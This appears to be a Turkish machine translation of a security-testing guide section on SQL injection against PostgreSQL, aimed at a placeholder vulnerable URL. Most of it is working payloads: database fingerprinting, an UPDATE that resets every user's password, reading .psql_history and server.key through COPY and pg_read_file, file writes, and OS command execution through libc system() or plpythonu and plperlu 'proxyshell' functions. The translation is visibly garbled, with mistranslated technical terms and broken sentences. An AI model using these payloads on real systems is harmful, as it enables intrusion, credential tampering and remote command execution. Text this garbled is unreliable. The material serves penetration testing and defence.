Testing PostgreSQL (PostgreSQL için Test)

Summary (Özet)

Bu bölümde PostgreSQL için bazı SQL Enjeksiyon teknikleri tartışılacaktır. Bu teknikler aşağıdaki özelliklere sahiptir:

- PHP Konektörü, birden fazla ifadenin kullanılarak yürütülmesini sağlar `;` Bir ifade ayırıcı olarak
- SQL Statements yorum char'ı ekleyerek kesilebilir: `-`. .
- `LIMIT` ve `OFFSET` Birinde kullanılabilir `SELECT` Sonuç setinin bir kısmını almak için ifadeler tarafından oluşturulan `query`

Bundan sonra bunun varsayıldığı varsayılıyor. `http://www.example.com/news.php?id=1` SQL Injection saldırılarına karşı savunmasızdır.

How To Test (Nasıl Test Edilir)

Identifying PostgreSQL (PostgreSQL'in tanımlanması)

Bir SQL Enjeksiyonu bulunduğunda, arka uç veritabanı motorunun dikkatlice parmak izi almanız gerekir. Arka uç veritabanı *motorunun:* döküm operatörünü kullanarak PostgreSQL olduğunu belirleyebilirsiniz.

Examples (Örnekler)

`http://www.example.com/store.php?id=1 AND 1::int=1`

Ek olarak, fonksiyon *sürümü ()* PostgreSQL pankartını kapmak için kullanılabilir. Bu aynı zamanda altta yatan işletim sistemi türünü ve versiyonunu da gösterecektir.

Example (Örnek)

`http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--`

Geri dönülebilecek bir banner ip örneği şunlardır:

`PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)`

Blind Injection (Kör Enjeksiyon)

Kör SQL enjeksiyon saldırıları için aşağıdaki yerleşik işlevleri göz önünde bulundurmalısınız:

- Dize Uzunluğu

  `LENGTH(str)`

- Belirli bir ipten bir alt dize özütün

  `SUBSTR(str,index,offset)`

- Tek bir alıntı olmadan dizme temsili

  `CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)`

8.2. versiyondan başlayarak, PostgreSQL yerleşik bir fonksiyon tanıttı, `pg_sleep(n)`, mevcut oturum sürecini uykulu hale getirmek `n` Saniyeler. Bu işlev, zamanlama saldırılarını yürütmek için kullanılabilir (Blind SQL Injection'ta ayrıntılı olarak tartışılır).

Buna ek olarak, kolayca özel bir oluşturabilirsiniz `pg_sleep(n)` libc kullanarak önceki versiyonlarda:

- `CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT`

Single Quote Unescape (Tek Alıntı Unescape)

Tek tekliflerin kaçmasını önlemek için teller kodlanabilir, kullanarak `chr()` - İşlev.

- `chr(n)`: ASSI III değeri sayıya karşılık gelen karakteri iade eder `n`
- `ascii(n)`: Karaktere karşılık gelen ASCII değerini döndürür `n`

Diyelim ki “kök” ipini kodlamak istiyorsunuz:

```
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116
```

“Kök”ü şöyle kodlayabiliriz:

`chr(114)||chr(111)||chr(111)||chr(116)`

Example (Örnek)

`http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--`

Attack Vectors (Vektörlere saldırı)

Current User (Mevcut Kullanıcı)

Mevcut kullanıcının kimliği aşağıdaki SQL SEÇKİNİ ile alınabilir:

```
SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()
```

Example (Örnek)

`http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--`
`http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--`

Current Database (Mevcut Veritabanı)

Yerleşik fonksiyon akımı_database() mevcut veritabanı adını döndürür.

Example (Örnek)

`http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--`

Reading from a File (Bir dosyadan okumak)

PostgresSQL, yerel bir dosyaya erişmenin iki yolunu sunar:

- `COPY` İfade
- `pg_read_file()` dahili fonksiyon (PostagreSQL 8.1'den başlayarak)

COPY (Kopyalama)

Bu operatör bir dosya ile bir tablo arasındaki verileri kopyalar. PostgreSQL motoru yerel dosya sistemine erişir `postgres` Kullanıcı.

Example (Örnek)

```
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
```

Veriler bir performans göstererek alınmalıdır `UNION Query SQL Injection` : :

- Daha önce eklenen satır sayısını alır `file_store` ile `COPY` İfade
- UNION SQL Injection ile bir seferde bir sıra alır

```
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
```

(pg_read_file())

Bu fonksiyon devreye sokulmuştu `PostgreSQL 8.1` ve DBMS veri dizininde bulunan keyfi dosyaların okunmasına izin verir.

(Örnek)

```
SELECT pg_read_file('server.key',0,1000);
```

Writing to a File (Bir Dosyaya Yazmak)

COPY ifadesini geri çevirerek yerel dosya sistemine birlikte yazabiliriz. `postgres` Kullanıcı hakları

```
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
```

Shell Injection (Kabuk Enjeksiyonu)

PostgreSQL, hem Dinamik Kütüphane hem de piton, perl ve tcl gibi komut dosyaları dilleri kullanarak özel işlevler eklemek için bir mekanizma sağlar.

Dynamic Library (Dinamik Kütüphane)

PostgreSQL 8.1'e kadar, bağlantılı özel bir fonksiyon eklemek mümkündü `libc` : :

```
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
```

O zamandan beri `system` Bir geri döner `int` Nasıl sonuçlar alabiliriz `system` - Staj mı?

İşte biraz hile:

- Bir yaratın `stdout` Masa: `CREATE TABLE stdout(id serial, system_out text)`

- Onu yeniden yönlendiren bir mermi komutu uygulamak `stdout` : : `SELECT system('uname -a > /tmp/test')`
- bir kullanın `COPY` Önceki komutun çıktısını itmek için ifadeler `stdout` Masa: `COPY stdout(system_out) FROM '/tmp/test*'`
- Çıkışı arasından alın `stdout` : : `SELECT system_out FROM stdout`

Example (Örnek)

```
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT --
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,
(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
```

Plpython

PL / Python, kullanıcıların pitonda PostgreSQL işlevlerini kodlamasına izin verir. Güvenilmezdir, bu nedenle kullanıcının yapabileceklerini kısıtlamanın bir yolu yoktur. Varsayılan olarak kurulmaz ve belirli bir veritabanında etkinleştirilebilir `CREATELANG`

- Bir veritabanında PL / Python'un etkinleştirilip etkinleştirilmediğini kontrol edin: `SELECT count(*) FROM pg_language WHERE lanname='plpythonu'`
- Değilse, etkinleştirmeye çalışın: `CREATE LANGUAGE plpythonu`
- Yukarıdakilerden biri başarılı olursa, bir vekalet kabuğu işlevi oluşturun: `CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu`
- Eğlenin: `SELECT proxyshell(os command);`

Example (Örnek)

- Bir proxy kabuğu fonksiyonu oluşturun: `/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os;return os.popen(args[0]).read()' LANGUAGE plpythonu;--`
- Bir işletim sistemi Komutanlığı'nı çalıştırın: `/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--`

Plperl'de

Plperl, PostgreSQL fonksiyonlarını perlde etmemizi sağlar. Normalde, altta yatan işletim sistemiyle etkileşime giren operasyonların çalışma süresi yürütülmesini devre dışı bırakmak için güvenilir bir dil olarak kurulur. `open` . . Bunu yaparak,

işletim sistemi düzeyinde erişim elde etmek imkansızdır. İşlev gibi bir proxyshell'i başarıyla enjekte etmek için, güvenilmez versiyonu yüklememiz gerekir. `postgres` Güvenilir / güvenmeyen işlemlerin uygulama maskesi filtrelemesini önlemek için kullanıcı.

- PL / perl-retr'sizlerin etkinleştirilip etkinleştirilmediğini kontrol edin: `SELECT count(*) FROM pg_language WHERE lanname='plperlu'`
- Değilse, Sysadm'ın plüs grafik paketini zaten kurduğunu varsayarsak, deneyin: `CREATE LANGUAGE plperlu`
- Yukarıdakilerden biri başarılı olursa, bir vekalet kabuğu işlevi oluşturun: `CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu`
- Eğlenin: `SELECT proxyshell(os command);`

Example (Örnek)

- Bir proxy kabuğu fonksiyonu oluşturun: `/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;`
- Bir işletim sistemi Komutanlığı'nı çalıştırın: `/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--`

References (Referanslar)

- Testing for SQL Injection
- SQL Injection Prevention Cheat Sheet
- PostgreSQL Official Documentation
- Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool